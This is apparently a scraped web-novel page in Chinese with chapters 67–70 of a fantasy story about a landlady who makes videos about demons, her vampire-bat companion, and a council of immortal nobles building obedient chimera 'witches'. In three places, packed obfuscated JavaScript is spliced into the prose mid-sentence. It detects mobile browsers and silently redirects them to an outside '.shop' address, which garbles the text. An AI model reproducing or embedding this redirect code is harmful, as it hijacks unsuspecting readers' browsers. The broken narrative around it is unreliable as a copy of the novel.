妮娜松开鼠标，将脑袋转向古斯塔夫：“你原先侍奉的贵族，就是吸血之王核心的持有者吧？” 她想起在圣灵图书馆拥有一个秘密房间的古老吸血鬼，多嘴了一句：“其实我也认识一个相当厉害的血族。” 古斯塔夫那两颗黑豆般的眼睛里流露出好奇，可惜妮娜没有继续说下去。 “你猜的没错，我打算去探望一下乌瑟先生，向他汇报一下项目的近况，如果能从他嘴里撬出一点关于魔女的事情就再好不过了。” * “令人吃惊的进展，令人吃惊的收益，令人吃惊的排名……不得不说，你取得了超乎想象的成绩，但你好像忘了，我让你不要随随便便来这儿找我。”穿着浅色囚服的瘦高个子在听完学生的报告之后，脸上并没有出现任何喜悦的表情。 毕竟罗德里斯公寓的死活归根究底和他没多少关系。 不管妮娜·斯特尔变得多富有，都没办法让他解脱牢狱之苦。 他看到妮娜·斯特尔那件灰扑扑的卫衣正面似乎有什么东西动弹了一下，这才发现那件衣服上覆盖着一层皮草质地的东西，这完全不是一件适合在夏天穿的衣服。 “你为什么要穿成这样，不嫌热吗？”他像一个多事的监护人一样“关怀”道。 接着，他看清了那块皮草的形状，从伶仃的双腿，到身体，到翅膀，再到脑袋，最后是脑袋上的那对耳朵。 “难以想象一个二十几岁的大学生会喜欢带着一个奇怪的布偶走来走去。” 妮娜扶了一下那团抹布一样的东西：“布偶？你是说古斯塔夫吗？看起来确实有点像。” 那对毛茸茸的耳朵抖动了一下。很显然那不是一只玩偶，而是一头活物。 “古斯塔夫……”乌瑟念叨着这个名字，“不是吧，古斯塔夫……” 67. 第 67 章 魔女终于从那片含糊不清的影子中看出了吸血蝙蝠的形状，神情立刻变得险恶起来：“见鬼！你怎么会在这里。你们怎么会在一块？” “这说来话长，也不是今天会面的主旨。”妮娜说，“但我想你一定能猜到一些事情，不然你不会让乌鸦来找我。” 乌瑟张了张嘴，那对干瘪的眼睛也变得比平时更大了一点：“……不敢置信，你策反了这家伙？” 古斯塔夫有些生气地将脸扭向一边。 “你们都是被迫替贵族院干活的，不是吗？”妮娜救了一下场，“时间不多了，我知道这有些冒昧，但希望你能告诉我一点关于魔女的事情。” 乌瑟的眼神游移了一阵：“你或许不会相信，我对魔女的了解也并不充分。” “但肯定比我们这些旁人知道多。” “好吧，你可以说说看，你想了解什么？” “你身上有刺青吗？” 乌瑟看上去有点不好意思：“你问这个做什么？” “我们遇上了一个手腕刺有巫妖纹章的魔女，我现在想确认这是共性还是特征。” 乌瑟看了自己的手腕一眼，那截如同枯朽白桦般的肢体上什么也没有，只能看到青色和紫色的血管在单薄的皮肤下静静地埋伏着。 “我身上——至少在我看得到的范围内，没有那样的东西。也许为了规范化管理，他们才开始在新制造出来的魔女身上印某个标记。” 妮娜和古斯塔夫对视了一眼，这种在旁人看来心照不宣的默契让乌瑟觉得自己有点多余。 一想到入狱两个月来，外面的世界可能已经发生了出人意料的变化，妮娜·斯特尔也不再是那个需要指导的、在毕业和就职之间疲于奔命的大四学生，他的情绪就奇妙地波动起来。 “你们到底在想些什么？”向来习惯于克制好奇心的乌瑟终于忍不住问道。 妮娜瞟了一眼乌瑟身后的狱卒，飞快地收回目光，“我们要想的事情太多了，怎样让你通过合法的途径获得释放就是其中之一，罗德里斯公寓会有你的一个房间。” 乌瑟莫名感到心头一暖，连说话的语气都破天荒地缓和起来：“感谢你的一片好心，但实际上并没有那种必要。我在这里过得很好。” 古斯塔夫眨了眨他那双豆子般圆溜的眼睛：“你的气色看起来确实好了不少，监狱里的作息一定非常规律，但除此之外你应该受了不少折磨。” 乌瑟扯动嘴角，十分生疏地露出一个微笑：“你的毛发光亮了很多，找到稳定的血源了？” 妮娜低头，看着吸血蝙蝠的那颗小脑袋：“你需要鲜血？” 古斯塔夫生气地看着囚犯：“我们的食谱并不局限于血液，吸血蝙蝠是一种杂食的魔物！” 乌瑟盯着他：“别以为我会轻易上当。”他知道自己“前主人”那些血液藏品是为谁准备的。 妮娜摸了摸他的脑袋：“我们可以出一期关于吸血蝙蝠的科普节目了。之前有粉丝说想看血族和兽人的故事，那时候我们缺少演员，现在也可以补上。” 古斯塔夫一下子用翅膀把自己包了起来。 那些观众想看的是英俊优雅的吸血鬼，而不是黑乎乎的吸血蝙蝠。 但这种期待与现实的反差说不定会起到意外的效果。 乌瑟看着铁窗外面愉快互动的二人，突然意识到自己的确错过了什么，监狱生活对他来说已经失去了“魅力”，他竟想要离开了。 但是刚刚才拒绝了学生的好意，现在立马反悔会显得很没面子，所以直到两位探望者离开，他都没再说点什么。 回家的路上，妮娜问怀里抱着的蝙蝠：“贵族院为什么要制造‘魔女’这种生物呢？” 如果现在是冬天的话，抱着这小家伙取暖一定特别舒服。可惜现在是夏天。 “他们需要帮手。”古斯塔夫理所当然地答道。 “可是他们已经取得了魔族的控制权，只要是其各自辖内的魔族，他们就对其拥有近乎绝对的掌控。魔族的人口那么多，以这样的人口基数，从里面挑出百来个特别优秀的作为帮手，我想应该绰绰有余。”妮娜摸了摸下巴，“如果说存在即有其合理性，那定然意味着魔女是为了迎合贵族院的某种需求而被创造的。” “据我不完全的、肤浅的观察，以及猜想……”古斯塔夫很少有主动表现见解的机会，因此有些局促，“除了那些归属自己管辖的特定魔物之外，贵族们还需要一些能听命于他们每个人的仆从——一些公共的仆人。” “真是一些可怜的家伙。” “我虽然不喜欢他们，但确实是这样——他们很可怜，他们诞生于痛苦的实验，奔走于各种危险的指令，有时候还会从不同的上司那里接到相互矛盾的命令。” “但我觉得事情应该没有这么简单。只是为了能够拥有‘平等地听从每一位贵族命令’的仆人，似乎没法给这种成本高昂的研究提供足够的动力。你知道的，从‘理性人’的角度考虑，他们不会做出效益小于成本的决定。那么魔女能够带来的‘效益’究竟是什么呢？” 古斯塔夫在房东怀里调整了一下姿势，提出了一个假设：“他们还在更新迭代。” “更新吗？” “和乌瑟相比，那种手上有刺青的魔女就是新的版本了。只是不知道要迭代到哪种程度才能出现贵族院想要的那种效益。您说，贵族院最想要的是什么？” “他们想要摆脱对绝对权力的恐惧。” * 在一间黑暗的屋子里，响起一阵似有若无的祷告。 ……过去与未来的主宰者， 时间与空间的执掌者， 全知全能者， 您的旨意既行在天，亦行在地， 赐予我们生命，以及用以维系它的一切事物， 让我们获得安宁、平和， 直到我们去往您所在的世界…… “你又在进行那种奇怪的仪式了，我说过，我不关心你的信仰，但也请不要来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12960826|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干涉我的自由。” “你的自由就在这里，你的信仰也在此处。” 韦斯特尔整理了一下祭坛上的物件，他周身那些奇妙的黑色颗粒愉快地旋转缠绕着，它们盘桓成龙卷风似的纵队，然后从祭坛中间穿过，像是完成一次洗礼。 摆在桌上的银质匕首和金杯开始震颤，杯中的液体泛起一圈圈的涟漪，而且那些涟漪的间隙越来越密，最终，那些液体从杯子里溅了出来，落到摆在一旁的苹果上面。 韦斯特尔小心的捧起苹果，将它放到贝尔霍特的手中：“吃了它。” 贝尔霍特并没有就此遵循韦斯特尔命令的意思，他们之间的关系理应是平等的，韦斯特尔不能也不该用这种语气对他说话。而他本该有权利拒绝这一古怪的请求。 但在苹果落入他掌心的瞬间，他仿佛受到了蛊惑，开始觉得这只苹果非同寻常，如果不能品尝，那将会是他一生的遗憾，他对这只苹果充满了好奇与渴望。 他从苹果的边缘咬下一口，这绝对不是因为韦斯特尔的要求，而是因为他自己想要尝尝这只苹果的味道。 汁水丰盈，酸甜可口。是他三百年间吃过的最为美妙的苹果。 将那口嚼烂的果肉吞咽下肚的时候，一绺黑色的气雾突然从他的手套中冒出了头，就像一条海底的花园鳗。 他当即松开手，那只苹果便因此掉在地上。 他现在无心关注苹果，唰地摘下手套，露出潜藏其中的五根手指——五指间纠缠着一缕一缕的黑雾，但仔细一看，那些黑雾呈现出微妙的颗粒状，和韦斯特尔周身的黑烟有异曲同工之处。 “喂，韦斯特尔，这是什么，难道我也要变得和你一样了？”贝尔霍特大叫起来，“我可不想变成你那副鬼样，也不想被魔物的核心吞噬，见鬼！见鬼！我该怎么办？”他一边叫喊，一边用另一只手去尝试驱散那些黑雾。 结果当然是白费功夫。 “急什么？”韦斯特尔镇定地看着他，“我在两百多年前就出现这种症状了，你看我现在不是还活得好好的吗？” 才不是呢，那种不人不鬼的样子怎么能算好？贝尔霍特有些着急地想道。 “既然你无法做出洛伦诺那样的选择，倒不如就这么顺其自然。”韦斯特尔说着，又开始对着祭坛祷告起来。 …… 这是我人生中的第二次大冒险。 我不知道我那个固执的弟弟会怎么看待我的这次行动，但无论如何，我已经做出了选择。 现在我正以一名无家可归的夜骑的身份入住罗德里斯公寓，过程比预想的还要顺利，但这也让我有些担心妮娜会不会无意间把住处租给一些可疑的家伙。不过只要有我在，应该就不会有什么可怕的事情发生。 夜骑……夜骑……让我想想这个神秘又罕见的亚种还有什么值得关注的特性。 那时候了解到的知识能在这个时代学以致用，这怎么也算一种意外之喜了。 ——《阿加雷斯的日记》 68. 第 68 章 听到敲门声，阿加雷斯赶紧放下笔，同时合上笔记本。 他离开座位，亲自去开了门，门外不出所料是他的新房东，还有一位浑身漆黑的大巫妖。 “你们好。”他彬彬有礼地说道。 大巫妖脸上的白色圆片闪动了一下：“初次见面，我叫文森特，如你所见，是一只大巫妖。” “你好，文森特。我叫阿加雷斯，如你所见，是一只夜骑。” “容我说一句失礼的话，如我所见，你更像是一个可疑的人类。我猜你一定携带了一件能够散发魔力气息的媒介或是魔法道具用来混淆视听。”大巫妖的口吻并不客气。 “你对每一个新邻居都这么警惕吗？” 房东插了一嘴：“可能是因为你恰好住在他对面。还有，文森特最近正在进行悬疑探案剧本的创作，所以习惯性地把事情往复杂的方向考虑。” 阿加雷斯展现出一个爽朗、但在文森特看来难免更加可疑的笑容：“原来是这样。你们找我有什么事吗？” “这样说可能会显得我是一个黑心房东，但是你还记得合同的内容吗？罗德里斯公寓的住客有为集体创造经济价值的义务，我们已经替你想好了第一项工作的内容。” “你说过想做第三期关于魅魔的视频。” 妮娜合掌一拍：“你真是个聪明的家伙！也许你听说过，也许没有，我们正在网络上做一些关于魔族的科普，并由此获得一些额外收入。魅魔自始至终都是备受欢迎的主题。正好我们之前已经做过女妖的相关科普，现在再补上夜骑的内容，魅魔的系列就算得上完整了。你看……” 大巫妖顺着她的话将手中的电脑转了个身。 “我很荣幸。”阿加雷斯不假思索地答道。他看了一眼屏幕上排列好的那些视频标题，“但要说完整，其实还缺少了羽人和极乐鸟的部分。” 文森特举起一根弥散着黑雾的手指：“我们又不可能请到一位活着的极乐鸟。除了罗德里斯，上一代的大贵族在三百年前就已经死绝了不是吗？” 妮娜用拇指抵住屏幕的上缘：“羽人也是，即使是魔族还相当繁盛的时代，那都已经是只有在古籍里才能找得到的种族了。” “作为一个人类，你对魔族的了解程度令人意外。很多魅魔自己都不知道‘羽人’的存在。” “啊哈……了解这些也是我工作的一部分。” 文森特是一个热爱工作的人，尤其是这份工作与其爱好相当吻合。 因为有了专门用来充当摄影棚的房间，他在闲暇时间里做了不少关于摄影技巧的研究和实践。 从他最新发布的几支视频中能明显感觉到他在这方面的进步，没人能想到在几个月前他还是个对先代技术近乎一无所知的长期囚犯。 加上薇薇安等同伴的各种支援，新的视频很快就完成了，主要由两个部分构成，前面是图文、声画结合的科普，后面是一问一答的旁白。 在魔法公寓的账号走红之后，乐飞也出现了不少尝试做魔族科普的创作者，但科普对象的实际出镜一直是魔法公寓无法被超越的秘诀。 “你应该很受欢迎吧？” “我不知道，好像并没有。” “难道从来就没有被搭讪或是告白过吗？” “有过几次，不过那都是很久以前的事情了。我这几年很少出门，也不怎么和人打交道。” [是一款从来没见过的魅魔，完全是我的菜啊！] [大狗狗，大狗狗！] “你说夜骑通常会有比较强大的魔法天赋，你也是吗？” “嗯。” “可以展示一下你的魔法能力吗？” “你想看哪种？” “你会很多魔法？我想这里空间有限，就演示一个性质温和一点的魔法好了。” [我还从来没见过会主动魔法的魔族诶！] [前方高帅预警。] “嗯，那就这样好了——” [啊啊啊啊他送我花花诶！] [啊啊啊，他好会啊！] [好想娶他！！！] 视频画面中，原本放在桌子上当布景用的盆栽在魔法的影响下迅速成长，错乱的趋光性让它的茎叶向画面的主人公攀爬，蜷曲的叶片舒展，螺旋包裹状的花苞逐渐染上颜色，最后在夜骑伸出的修长指尖绽放。 鲜花配美人，真是精致美好到可以直接截图当壁纸的程度。 阿斯代伦叹了一口气。 布劳斯不忍直视地用宽阔的左手捂住了大半张脸。 兰登紧张地观察着所有人的反应。 蒂德莉目不转睛地望着画面最后的定格，轻轻眨了眨眼睛。 波诺看起来似笑非笑，又或者说皮笑肉不笑。 贝尔霍特皱着眉。韦斯特尔和他的表情差不多，不过眉尾多了几阵不易觉察的抽搐，“阿斯代伦，这不是你干的好事吧？！” “我有那么做的理由吗？”被指名的人一脸无辜地反问道。 兰登补充道：“我相信阿斯代伦不会那么做的。一定是阿加雷斯找到了大法阵的弱点，趁机逃了出去。我们早就意识到大法阵在衰弱，以阿加雷斯的力量，能够从中挣脱也不奇怪。” “如果他逃到别的地方还好，为什么偏偏去了罗德里斯公寓？只要魔王在那里，别说魔女了，就算是我们亲自出动，也讨不到什么好果子吃。”布劳斯一副身心疲惫的样子。 “得让那些网站赶紧删除视频。” “这不是什么大问题，真正值得推敲的是阿加雷斯的动机，他为什么要去找魔王，是打算报复，还是——” “等一等，韦斯特尔，你觉得这‘不是什么大问题’吗？难道你有什么妙方，能让我们无需大张旗鼓，就把阿加雷斯给弄回来？” 韦斯特尔点了点头，用他散发着黑气的右手捻了捻下巴：“我想现在要关注的，一个是刚才提到的动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971619|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机，另一个就是星屑的储量——如果不能搞到足够完善大法阵的星屑，即使把人抓回来，他也马上会再次逃跑的。” “噢拜托，韦斯特尔，你别再卖关子了，快告诉我们要怎么才能抓回阿加雷斯，这是我现在最在意的事！”贝尔霍特嚷嚷道。 韦斯特尔抚平了自己的眉毛，好让自己看起来更加镇定一点：“我知道你们已经很久没有关心过研究所的最新成果了。诸位，我想你们不会已经忘了，当初我们是出于什么目的才开展魔女研究的。” 此言一出，所有目光都集中到了他一个人的身上。 坐在这里的每个人都知道，就结果而言，魔女是他们能够平等地控制的工具。 但他们最初研究魔女，是为了制造一种既拥有魔族的魔法天赋，又像人类一样不会受到魔王那种超越常理的力量影响的人形武器——这样他们才能在面对魔王的归来时不用如此提心吊胆，如履薄冰。 “你是说研究所已经制造出我们想要的那种魔女？” “喂，这么重大的消息，你怎么现在才说？我倒要问问你有没有忘记，我们当初是为什么搁置了这个方向的研究？！” 要让一个魔女不受绝对王权的影响，即同时意味着他也不会受到大贵族核心的影响——他们拥有魔法能力，却可以选择不听从贵族院的命令，这种危险至极的东西，谨慎小心的贵族院怎么可能容许他们的存在。 “你说那个啊，不要担心，我让研究所重新开始这个研究的时候就已经强调过这个要求了——生产出来的魔女，必须具有极高的服从性，服从的对象只有我们，而不包含魔王。”韦斯特尔强调了最后一个单词，他的表情中除了得意，还透着一丝阴险和狡猾。 “居然真、真的做到了吗？到底是怎么做到的？可靠性？合格率？强度……这些指标都经得起检验吗？我们可不能创造出一些能够招致自毁的东西来。” 韦斯特尔将一份文件投映到大屏幕上，上面不知是故意还是无意地列满了让人难以理解的公式和数据，似乎完全不想让看到它的人看懂它。 “当这种嵌合体中魔物比重过大的时候，他们的本质就更倾向于魔族，并服从魔王和大贵族的命令，要解决这个问题，提升其体内的人类比重就可以了。之前的问题是，‘人类’成分比重过高时，嵌合体的魔法天赋会大大下降，几乎无法形成战斗力。” “——前不久，我向研究所建议在嵌合体中加入炼狱兽的成分，结果很成功，他们制造出了魔性偏低，同时又能保留战力的个体。” 蒂德莉飞快地看了一眼屏幕上的数据：“所以呢？在绝对权力不起作用的情况下，你如何确保这些嵌合体会听从我们的命令？” “和魔女不一样，他们是更偏向于人类的存在。而如何让一个人类变得顺从听话，这方面的研究在好几年前就已经相当成熟了。” “你是说……类似于洗脑之类的方法吗？”蒂德莉皱眉道。 69. 第 69 章 新一期的视频让魔法公寓账号的点击率又创新高，并且新增了不少关注者。 夜骑这一种族顿时成为网络上恶魔爱好者之间的热门话题，虽然阿加雷斯的外表可以从一定程度上说明热点生成的原因，但其最终达到的效果还是超出了制作者们的想象。 “我知道有一种说法是‘三观跟着五官走’，但人类对外表的执着还是让我感到困惑。” 《忏悔录》的成绩可圈可点，相比之下，同期发布的巫妖科普视频的播放量就要差得远了，也是目前发布的所有科普视频中人气倒数第二的一支（倒数第一是巨魔），文森特已经后知后觉地发现这与主角的外表有着很强的关联性。 “话虽如此，但我觉得阿加雷斯只能说长相端正，还没有帅气到可歌可泣的地步吧？”妮娜看着账号后台的数据统计，说道。 文森特熟练地打开另一款SNS的主页，指着上面的热点说道：“很多人都开始自发地想要更加深入地了解这一种族，毫无疑问他们都受到了阿加雷斯的影响。斯特尔女士，或许您的审美习惯和大众有所不同。但这也不奇怪，毕竟您不是一个真的人类。” “况且，魅魔一族本身就有魅惑人心的天赋，而这甚至无关外貌，只是他们恰好长相出众。说实话，我经常在看到薇薇安女士的时候心跳加速。” “可我就不会对拉弗尔产生着迷的感觉。” “那么阿加雷斯呢？无关外表，您会对他产生好感吗？” “我就是这个意思。明明拉弗尔不会对我产生什么影响，但看到阿加雷斯的时候，我的心跳确实会变快。” 文森特似乎想笑，但他努力忍住了：“这是正常的，具体解释起来，或许可以套用波长相合的说法。” 妮娜将握在指间的签字笔转了一圈，视线移向网络上关于夜骑的那些讨论。 [我从家里翻出了一套一百多年前刊行的《恶魔图鉴》，里面就有提到过夜骑。] [说了什么，快让我们看看！] [求扫描本，有偿。] [我拍几张照放上来，大家先看看，看需要的人多不多，多的话我就找个文印店做一份全本扫描放到网上。[图片][图片][图片]] [楼主好人一生平安。] [“通常拥有美丽的外形和高强的魔法天赋，但也受到魔法天赋的影响，大多数体质很差，非常容易染上各类疾病，最终导致死亡。”我天这是什么美强惨设定。] [魔物□□下一个烫题材预定。] [递笔，哪位大大快来写，饿饿！] “可是我觉得阿加雷斯看起来很健康，是那种就算在大雨里淋上三天三夜都不会生病的人。”妮娜说。 “外表在魔界很难说明什么，不过拥有超出种族阈值的魔法天赋确实容易导致身体虚弱。”文森特说，“夜骑所具备的魔法天赋显然超过了魅魔这一种族的上限，所以我觉得这本《图鉴》里的说法有一定可靠性。” 就在这时，隔壁房间传来一声沉闷的巨响——隔音墙壁没能完全阻挡固体传音的效果。 这里是被改建成摄影棚和媒体办公室的205号房间，声音是从阿加雷斯所在的207室方向传来的。 妮娜看了文森特一眼，像是在征询他的意见，“我通常不会主动打扰房客们的生活，但考虑到房客们在自己的房间里发生意外的可能性——” “斯特尔女士，我觉得刚才的声音像是大几十公斤的重物掉在地上。”文森特说。 * …… 我的眼前是一片熟悉但遥远的景象，我已经很久没有经历过这种事了，但我知道这就是战争。 人类和魔族的战争。 在我曾经读过的那些冒险故事中，人类想要战胜魔族通常是件困难的事，但同时也是必然完成的事，不会有哪个通俗小说的作者愿意冒险叙述一个人类一败涂地的结局。 为了彰显人类一方的勇敢、智慧和团结，魔族不能被设定得太过弱小，否则看上去就会像是人类在恃强凌弱。 故事里的魔物总是具备残忍的脾性、灵敏的动作、坚硬的躯体、强大的生命力，其中还有一些掌握着能瞬间将人撕碎的魔法。 但事实上，我所看到的景象永远和故事所描述的大不相同。 不少魔族的确动作敏捷，但他们快不过枪弹；不少魔族的确皮糙肉厚，但他们抗不下火炮；不少魔族的确有着强韧的生命力，但也不可能在被炸掉脑袋之后存活下来。 更何况还有一些完全不具备上述特征的、极其弱小的底层魔族。 他们在人类的武器面前毫无招架之力。 可以说，人类就是在恃强凌弱。 一位学者曾经告诉过我，只要将人群中的某一小部分定义为异类，剩下的那一大部分就可以在那些异类面前短暂地抛弃人性，对他们做出残酷的事情，并且不会抱有愧疚之心。 你看，连自己的同类都可以无情杀害的人类，在面对显而易见的异族生物时，更不会有多余的怜悯之心。 我看见没有头颅的巨大尸体横亘在地上，就像一堵坍塌的墙。那堵墙有三米多长，有着干枯的紫色的外皮。 一只年幼的，还无法确定种族的魔物跪在他的肘弯里，大概是想将他的尸体当做掩体，但是没有用，她的身体被打穿了，脏器从里面淌出来，一直淌到巨魔的手腕附近，仿佛是缠在他手上的一件饰品。 我看见不远处的道路上站立着一个女孩，从她尖尖的的耳廓可以轻易辨认出她不是我的同类，但是在看到她身后那个持枪的士兵向她逼近时，我还是不由自主地冲了过去，将她掩在身后。 士兵看到我的时候，脸上露出了惊讶的表情，但最后他还是顺从地离开，寻找下一个屠杀的目标。 空气中弥漫着一股火药的味道，有什么东西从头顶呼啸而来，我下意识地抱紧了女孩，接着，灼热而强烈的气流将我炸到了天上。 过了一段又长又短的时间，我掉了下来，掉在地上，不知道是死着还是活着。 肘部传来钝痛。 “阿加雷斯，你还好吗？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12983666|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>妮娜打开207室的房门后，看到的便是那位看上去开朗又健康的夜骑先生面如死灰地倒在地上，浑身战栗不已，并伴随着肢体的抽搐。 现在，她彻底相信了关于这一亚种魔物身体虚弱的说法。 在阿加雷斯停止抽搐之后，妮娜和文森特合力将他抬到了床上。他暂时没有恢复意识，妮娜只能用热毛巾帮他擦拭了一下冷汗，调整了一下房间的温度，然后在一边祈祷他能度过难关。 文森特也乖巧地守候在一旁，他看起来有些内疚：“会不会是因为我在录制视频的时候让他使用了魔力，他才会变成这样的？” “那都已经是前天的事了，你不用自责。我觉得那肯定不是主要原因。”妮娜安慰道，“他说他很少出门，一定也是受到健康状况的限制。这应该是某种痼疾。” “希望他别出什么事。” 阿加雷斯露在被褥外边的手指轻轻动了一下，妮娜将身体往前倾了倾，想将那只手也藏进被窝里。 “妮娜……”虚弱的声音从枕头的方向传来。 妮娜转过头，对上一双琥珀色的眼睛，在睫毛的阴影之中，那双眼睛流露出来的神情显得含糊不清。 “是我，你还好吗？” “我做噩梦了。” “……呼，我猜你一定梦见自己摔到地上——” 阿加雷斯从床上坐了起来，检查了一下自己的两肩，还有手肘，确认过这些部位完好无损，才松了口气，“嗯，我从天上掉下来，摔到地上，听起来没什么，但那真的很不好受。” 妮娜给他递了杯热水：“我在网上得知了一些消息——夜骑是一个存在诸多健康问题的种族。你有没有什么常用的药物或是营养补充剂？我可以在家里给你准备一点。” 阿加雷斯摇摇头：“今天只是意外，我一直很健康。” 妮娜觉得他有七成是在逞强。 有人在205室外面敲门，文森特探出去看了一眼：“怎么了吗，薇薇安？” 魅魔的声音从门外传来：“噢，文森特，你怎么在这里，你看到了吗，后台的那条通知？” 文森特用半气态的手挠了挠空无一物的后脑勺：“什么通知？” “新视频被网站管理员删除了，通知显示的理由是不符合规范。”薇薇安说，“希望不是又一起举报事件。” 文森特接过她递来的手机飞快看了一眼：“这种通知方式，应该不是被举报导致的，可是我们的视频有哪里不符合规范的呢？为了避免出错，我可是把发布规则研究了个透。” “那些被搬运和转载出去的视频也都被各个平台删掉了，网上到处都在讨要说法——毕竟这真的很不讲道理。”薇薇安伸出手来，在屏幕上点了几下。 “各大平台都删除了这段内容，也就是说并非乐飞的个体行为……难道视频内容触及了什么底线？我是不是还得去把文化方面的法律法规也钻研一遍？”文森特为难地说道。 妮娜探究地看向阿加雷斯，而对方回以一个“我也不知道发生了什么”的眼神。 70. 第 70 章 * “喂，到底是谁出的馊主意，让各大网站下架视频的——你这是明摆着告诉别人，这里头有问题，指不定到头来真会被人发现什么。” “我上次就说过要删除了，你们可没提出反对意见。” “你最好还是祈祷视频没被太多恶魔看过。要知道，‘勇者’在大战之后为了安抚民心，还在社会上活跃了一段时间，如果有战后不久出生、并且活到了现在的老魔族，说不定会认出他来的。” “——你们也不想这个秘密被人知道吧，格尔克诺广场雕塑的原型人物居然还活着。” 下架阿加雷斯出镜的视频是布劳斯的主意。虽然有点不可理喻，但贵族院的权力不至于连这种事情都做不到。 而且他所提出的顾虑也是客观存在的。 一旦让民众知道执掌国家权力的是一群不老不死的怪物，还不知道他们能做出什么事来呢。 光是一个魔王就已经够让人心烦的了。 蒂德莉正在查看最新收到的消息，来自她指导的项目负责人之一。 “导师，你好，想问一下我们在乐飞最新发布的那个视频出了什么问题，为什么被全网下架了？” 虽然掐灭了一个隐患，但还得考虑到另一个问题啊…… 妮娜·斯特尔又不是笨蛋，当然很快就会想到这后面是贵族院的旨意，而她又正好有和贵族院直接对话的方式。 蒂德莉不认为提出导师制是给自己挖的坑，这都是布劳斯的考虑不周所导致的。 难道他从来不与被分配到他手下的那些项目负责人对接和交流吗？ 不过从很久之前开始，他就是一个没法好好和别人打交道的人。 蒂德莉没有浪费太多时间去暗自抱怨布劳斯，她想了一会儿，回复道：“我的一位同僚对夜骑抱有很深的成见，所以擅自动用了他手头的权力，做出了这种不公道的事情，请放心，他的这一行为仅仅针对这个视频，不会牵连到你的整个项目，也不会影响你的成绩。” 在这里肯定没法将真相说出来，她也不想在毫无准备的情况下就与自己的同僚闹僵，尽管这个回答会显得她在贵族院似乎低人一等，却是目前最保险的说法了，更何况哪怕她真的低布劳斯一等，她也不会太过在意。 “也就是说，没法通过申诉进行恢复操作了吗？” “是这样的，非常抱歉，目前为止非但没能给你提供有价值的指导，反而给你带来了麻烦。” “没关系，科普系列和短剧系列都是免费作品，主要用来给项目积攒人气，这一期的视频给我们带来了很多流量，也算是圆满完成任务了。” 言外之意，因为没有影响到收益渠道，所以不会过多计较，但如果触犯到项目的利益，这事儿恐怕就没法这么结了。 “感谢你的体谅，你的项目一定可以越做越好的。可以顺便了解一下你的下一步计划吗？” “倒没有特别明确的计划，走一步看一步吧。” “嗯，能够保持罗德里斯公寓和赫尔马岱矿场还有树根的运营就已经很了不起了，我觉得以现在的势头发展下去，冲进决赛圈完全不成问题。” “那可真是太好了，教授就想看我惨淡收场，然后忏悔没有好好写论文呢。我还有事，先不说啦。” “嗯。” 橙色的头发突然跃入视野。 “和谁聊天呢，这么开心？你不会是在和哪位小青年进行网恋吧？” 抬起头，波诺正一脸好笑地看着自己。 蒂德莉并不接受他的挑衅，收起手机，“在一起共事这么久了，你不会一直没有发现我其实是一个很爱笑的人吧。” 波诺抚摸了一下头顶上某撮翘起来的头发：“哦？其实我也是诶，你没发现吗？” 韦斯特尔今天是最后一个抵达圆桌会议室的，“已经和研究所那边联系好了，现在就可以去查验新品的性能，各位意下如何？” 他口中的新产品当然就是之前在会议中提到过的新型魔女。 “好啊，那就快让我们开开眼界吧。”贝尔霍特说。 “我们已经很久没有一起出现在圆桌会议室以外的地方了。”兰登说。 阿斯代伦笑了一下：“最好不要用春游的心态来对待这次出行。” 兰登像少女一样歪了一下头（尽管从外表来看她确实是一位少女）：“为什么不呢？” 很久很久以前，他们曾经一起春游过。如今被称为七贵族的七个人，还有已经隐世多年的勇者的阿加雷斯，当这八个人还的的确确是少年少女的时候，也曾怀抱过小学生一般充满期待的心情，翘首期盼着即将到来的远游。 三百多年前的春天的景色，和现在大不相同。 “传送阵已经准备好了，研究所的工作人员也已经准备好了，总之一切都准备好了，噢，最后就剩下你们的心情。” “别说冷笑话了，走吧。” 通过传送阵进行的旅行总是缺乏一些旅途的浪漫，幸好这种浪漫对面临诸多问题的成年人来说完全是多此一举。 魔法光束一闪而过，所有人都整齐划一地出现在位于赫尔马岱市中心的恶魔研究所中。 穿着工作服的接待员已经被告知了今日的工作，热情而不失分寸地迎接这些高贵的、不露真容的客人们。 他将参观者们带到展示产品专用的那个房间，房间用一扇经过魔法处理的玻璃隔成两半，参观者被安排在其中的一半，而另一半则是测试产品性能的场地。 打扮得像是囚犯一样的新型魔女被送到了玻璃对面的那半个房间里。 “比起以前的型号，这家伙看起来要舒服多了。”贝尔霍特说。 “也许是因为人类的成分更高。”接待员解释道，“先让她展示一下魔法攻击力怎么样？” 他将一直夹在腋下的文件夹打开，往每个参观者的手里都发了一份指南：“这份手册里面有可以释放的魔法，白色字体的是可以进行展示的部分，灰色的是因为场地和人数限制，无 